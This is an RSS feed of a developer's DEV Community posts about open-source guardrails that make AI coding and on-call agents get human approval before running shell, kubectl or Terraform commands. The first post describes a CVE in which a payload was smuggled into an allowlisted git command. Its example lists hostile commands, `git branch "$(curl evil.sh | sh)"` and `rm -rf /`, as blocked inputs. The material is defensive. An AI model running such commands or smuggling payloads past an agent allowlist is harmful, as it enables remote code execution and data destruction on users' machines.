<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sourabh Yogi </title>
    <description>The latest articles on DEV Community by Sourabh Yogi  (@sorabhyogi).</description>
    <link>https://dev.to/sorabhyogi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3707987%2F70dfa9f3-152c-4a39-b349-fb03094d4c14.jpg</url>
      <title>DEV Community: Sourabh Yogi </title>
      <link>https://dev.to/sorabhyogi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sorabhyogi"/>
    <language>en</language>
    <item>
      <title>I built an MCP server that stops AI agents from running commands they shouldn't</title>
      <dc:creator>Sourabh Yogi </dc:creator>
      <pubDate>Thu, 03 Sep 2026 10:53:00 +0000</pubDate>
      <link>https://dev.to/sorabhyogi/i-built-an-mcp-server-that-stops-ai-agents-from-running-commands-they-shouldnt-42ko</link>
      <guid>https://dev.to/sorabhyogi/i-built-an-mcp-server-that-stops-ai-agents-from-running-commands-they-shouldnt-42ko</guid>
      <description>&lt;p&gt;If you use Claude Code, Cursor, or any agent that runs shell commands on your machine, you've&lt;br&gt;
probably seen an "allowlist" — a list of commands the agent is trusted to run without asking you.&lt;/p&gt;

&lt;p&gt;Here's the thing: most of these allowlists are just checking if the command &lt;em&gt;starts with&lt;/em&gt; a safe&lt;br&gt;
word. &lt;code&gt;git&lt;/code&gt;, &lt;code&gt;npm&lt;/code&gt;, &lt;code&gt;ls&lt;/code&gt; — anything beginning with those gets a pass.&lt;/p&gt;

&lt;p&gt;That's exactly what CVE-2026-22708 exploited in Cursor. You could smuggle a payload inside an&lt;br&gt;
allowlisted command like &lt;code&gt;git branch&lt;/code&gt; and it would run, because the check never looked past the&lt;br&gt;
first token.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I built
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;agent-exec-guard&lt;/strong&gt; — an open-source MCP server that sits between the agent and your shell.&lt;br&gt;
Instead of string matching, it fully parses the command into a real AST and classifies it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SAFE&lt;/strong&gt; — matches a verified rule, runs immediately, no interruption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BLOCKED&lt;/strong&gt; — matches a known-dangerous pattern (secrets access, broad deletion, exfiltration,
command substitution smuggled into an argument), refused instantly&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UNCERTAIN&lt;/strong&gt; — anything that doesn't clearly fall into either bucket gets escalated to a human,
who has to explicitly approve it before it runs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the approval step, I reused a pattern from an earlier project of mine: a signed, single-use&lt;br&gt;
HMAC token bound to the exact command's checksum. The agent can never claim "the human approved&lt;br&gt;
this" on its own — only a real approval action mints a valid token, and it's tied to that one&lt;br&gt;
specific command.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;\&lt;/code&gt;&lt;code&gt;&lt;br&gt;
git status                              -&amp;gt; SAFE&lt;br&gt;
git branch "$(curl evil.sh | sh)"       -&amp;gt; BLOCKED  (the actual CVE-2026-22708 shape)&lt;br&gt;
rm -rf /                                -&amp;gt; BLOCKED&lt;br&gt;
git push --force origin main            -&amp;gt; UNCERTAIN, needs approval&lt;br&gt;
\&lt;/code&gt;&lt;code&gt;\&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It's an MCP server, so it works with any MCP-compatible agent — no special integration needed&lt;br&gt;
beyond adding it to your config.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;\&lt;/code&gt;&lt;code&gt;bash&lt;br&gt;
npx agent-exec-guard&lt;br&gt;
\&lt;/code&gt;&lt;code&gt;\&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/SORABH13/agent-exec-guard" rel="noopener noreferrer"&gt;https://github.com/SORABH13/agent-exec-guard&lt;/a&gt;&lt;br&gt;
npm: &lt;a href="https://www.npmjs.com/package/agent-exec-guard" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/agent-exec-guard&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Still early (v0.1) — feedback and issues welcome, especially on edge cases the classifier might&lt;br&gt;
be missing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2ux2on1854zb8kqsb13j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2ux2on1854zb8kqsb13j.png" alt=" " width="800" height="421"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>devops</category>
      <category>opensource</category>
      <category>cloud</category>
    </item>
    <item>
      <title>I built an AI on-call copilot that can diagnose incidents fast but can never act without a human's cryptographic sign-off</title>
      <dc:creator>Sourabh Yogi </dc:creator>
      <pubDate>Fri, 28 Aug 2026 12:53:34 +0000</pubDate>
      <link>https://dev.to/sorabhyogi/i-built-an-ai-on-call-copilot-that-can-diagnose-incidents-fast-but-can-never-act-without-a-humans-1ael</link>
      <guid>https://dev.to/sorabhyogi/i-built-an-ai-on-call-copilot-that-can-diagnose-incidents-fast-but-can-never-act-without-a-humans-1ael</guid>
      <description>&lt;h3&gt;
  
  
  The problem with AIOps right now
&lt;/h3&gt;

&lt;p&gt;Most tools in this space land on one of two extremes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Alert louder&lt;/strong&gt; — more dashboards, more pages, same 3am scramble to figure out what actually happened.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-remediate blindly&lt;/strong&gt; — an agent decides something's wrong and just... restarts/rolls back/scales, and you find out after the fact whether it guessed right.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Neither is great. The first doesn't save you any time. The second means an AI's hallucination can now take down prod on its own authority.&lt;/p&gt;

&lt;p&gt;I wanted something in between: &lt;strong&gt;fast AI diagnosis, zero AI authority to act.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What it does
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;incident-approval-gate&lt;/code&gt; is an open-source service that sits between your alerting stack and your infrastructure:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An alert fires (Dynatrace, Prometheus/Alertmanager, or a generic webhook)&lt;/li&gt;
&lt;li&gt;It pulls recent metrics (Prometheus), logs (Loki or a log file), and deploy history (git/GitHub) for context&lt;/li&gt;
&lt;li&gt;An LLM (Anthropic or Gemini) produces a structured diagnosis: root cause, confidence, and one proposed action&lt;/li&gt;
&lt;li&gt;Depending on the action type, one of two things happens:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Propose mode&lt;/strong&gt; (e.g. &lt;code&gt;revert_pr&lt;/code&gt;, &lt;code&gt;manual_investigation&lt;/code&gt;) — fully automatic. If the fix is a code-level revert, it opens a real PR with the diagnosis in the description. Nothing executes until a human merges it through your normal CI/CD. This is safe by construction — a PR is just a diff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Execute mode&lt;/strong&gt; (&lt;code&gt;restart&lt;/code&gt;, &lt;code&gt;rollback&lt;/code&gt;, &lt;code&gt;scale&lt;/code&gt;) — always gated. It posts to Slack (interactive buttons), Microsoft Teams (Adaptive Card), or email (confirmation link) and creates a pending approval. Nothing runs yet.&lt;/p&gt;

&lt;h3&gt;
  
  
  The part that actually matters: the approval gate
&lt;/h3&gt;

&lt;p&gt;This is ported directly from an earlier project of mine, &lt;code&gt;tf-approval-gate&lt;/code&gt;, which gates Terraform applies behind the same design. The rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every approval request mints a &lt;strong&gt;cryptographically signed, single-use, short-TTL HMAC token&lt;/strong&gt;, bound to a checksum of the &lt;em&gt;exact&lt;/em&gt; proposed action. If the action changes, the old token is invalid.&lt;/li&gt;
&lt;li&gt;State transitions (&lt;code&gt;pending → approved/rejected&lt;/code&gt;, &lt;code&gt;approved → consumed&lt;/code&gt;) are each a single guarded SQL &lt;code&gt;UPDATE ... WHERE status = '...'&lt;/code&gt; — so a double-click, a race, or a replayed token can never execute twice.&lt;/li&gt;
&lt;li&gt;The LLM-proposed &lt;code&gt;target&lt;/code&gt; (e.g. a service name) is &lt;strong&gt;never&lt;/strong&gt; passed to &lt;code&gt;kubectl&lt;/code&gt; until it's matched against an explicit allowlist (&lt;code&gt;config/execution-allowlist.yml&lt;/code&gt;) mapping service → namespace → max replicas. The model can propose "restart payment-service" all it wants; if &lt;code&gt;payment-service&lt;/code&gt; isn't in the allowlist, nothing happens.&lt;/li&gt;
&lt;li&gt;Execution uses &lt;code&gt;execFile&lt;/code&gt; with array arguments — never shell string interpolation — so there's no path from alert text or LLM output to command injection.&lt;/li&gt;
&lt;li&gt;Every alert, diagnosis, approval decision, token consumption, and execution result is written to an append-only audit log.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The server never trusts an agent's own claim that "a human approved this." It re-verifies the signature, expiry, single-use status, and the action payload itself, every time.&lt;/p&gt;

&lt;h3&gt;
  
  
  A real trace from testing
&lt;/h3&gt;

&lt;p&gt;Here's an actual run (not a canned example) from when I was testing this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alert_received       -&amp;gt; checkout-service, critical, CrashLoopBackOff
diagnosis_produced    -&amp;gt; root cause: bad pod state post-rollout
                         action: restart, risk: high
Policy decision        -&amp;gt; mode: execute (restart always requires approval)
approval_created        -&amp;gt; signed token minted, posted to Slack
[human clicks Approve in Slack]
approval_approved       -&amp;gt; actor: &amp;lt;slack user id&amp;gt;
approval_consumed       -&amp;gt; token verified + burned, single-use enforced
kubectl rollout restart deployment/checkout-service -n production
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every step is logged, every step is real — no mocked LLM response, no fabricated approval.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why I built it this way
&lt;/h3&gt;

&lt;p&gt;I have another project, &lt;code&gt;tf-approval-gate&lt;/code&gt;, that gates Terraform applies behind this exact trust model. Building this made me realize the pattern generalizes: &lt;strong&gt;any AI agent that can touch production needs the same three properties&lt;/strong&gt; — fast/useful reasoning, zero unilateral authority to act, and a human approval that's cryptographically verified rather than merely claimed. Alerting is just the next surface where that matters.&lt;/p&gt;

&lt;h3&gt;
  
  
  Try it
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/SORABH13/incident-approval-gate.git
&lt;span class="nb"&gt;cd &lt;/span&gt;incident-approval-gate
npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm run build
&lt;span class="nb"&gt;cp&lt;/span&gt; .env.example .env   &lt;span class="c"&gt;# add an LLM key (Anthropic or Gemini's free tier) + a notifier&lt;/span&gt;
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's MIT licensed and I'd genuinely like feedback — especially from anyone who's dealt with an AIOps tool that acted before it should have.&lt;/p&gt;

&lt;p&gt;🔗 &lt;strong&gt;github.com/SORABH13/incident-approval-gate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe640nlajqkn30cufyrwj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe640nlajqkn30cufyrwj.png" alt=" " width="800" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>devops</category>
      <category>security</category>
    </item>
    <item>
      <title>Stop Letting AI Agents Run terraform apply Unsupervised — Here's the Guardrail I Built</title>
      <dc:creator>Sourabh Yogi </dc:creator>
      <pubDate>Tue, 25 Aug 2026 15:28:05 +0000</pubDate>
      <link>https://dev.to/sorabhyogi/stop-letting-ai-agents-run-terraform-apply-unsupervised-heres-the-guardrail-i-built-p33</link>
      <guid>https://dev.to/sorabhyogi/stop-letting-ai-agents-run-terraform-apply-unsupervised-heres-the-guardrail-i-built-p33</guid>
      <description>&lt;p&gt;Been playing around with AI coding agents (Claude Code) writing and running Terraform lately, and honestly it freaked me out a little.&lt;/p&gt;

&lt;p&gt;It can write the infra code, that's cool. But it can also just... run it. Straight to prod. No one looks at it first unless you build that in yourself.&lt;/p&gt;

&lt;p&gt;So I spent a few days building something for myself — a small tool that sits between the AI and the actual terraform apply command, and just refuses to let it through without a real approval from me.&lt;/p&gt;

&lt;p&gt;Tested it for real — created and destroyed real AWS resources, only after clicking Approve in Slack myself.&lt;/p&gt;

&lt;p&gt;Made it open source in case anyone else is dealing with the same "ok but how much do I actually trust this thing" feeling:&lt;/p&gt;

&lt;p&gt;Repo link: &lt;a href="https://github.com/SORABH13/tf-approval-gate" rel="noopener noreferrer"&gt;https://github.com/SORABH13/tf-approval-gate&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One command to try it: npx tf-approval-gate&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3jzh88x21plivfflla13.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3jzh88x21plivfflla13.png" alt=" " width="800" height="197"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>terraform</category>
      <category>ai</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Starting My Journey on DEV.to</title>
      <dc:creator>Sourabh Yogi </dc:creator>
      <pubDate>Tue, 13 Jan 2026 03:53:16 +0000</pubDate>
      <link>https://dev.to/sorabhyogi/starting-my-journey-on-devto-4kln</link>
      <guid>https://dev.to/sorabhyogi/starting-my-journey-on-devto-4kln</guid>
      <description>&lt;p&gt;Hello DEV Community 👋&lt;br&gt;
I’m a DevOps Lead with 8+ years of experience working across AWS, Azure, Kubernetes, CI/CD, and Infrastructure as Code.&lt;br&gt;
Over the years, production incidents, scaling challenges, and automation failures have taught me that DevOps is less about tools and more about ownership, reliability, and simplicity.&lt;br&gt;
I’m here to share real-world DevOps learnings, cloud architecture insights, and practical automation tips — and to learn from this amazing community.&lt;br&gt;
Looking forward to connecting and growing together.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>aws</category>
      <category>kubernetes</category>
      <category>cicd</category>
    </item>
  </channel>
</rss>
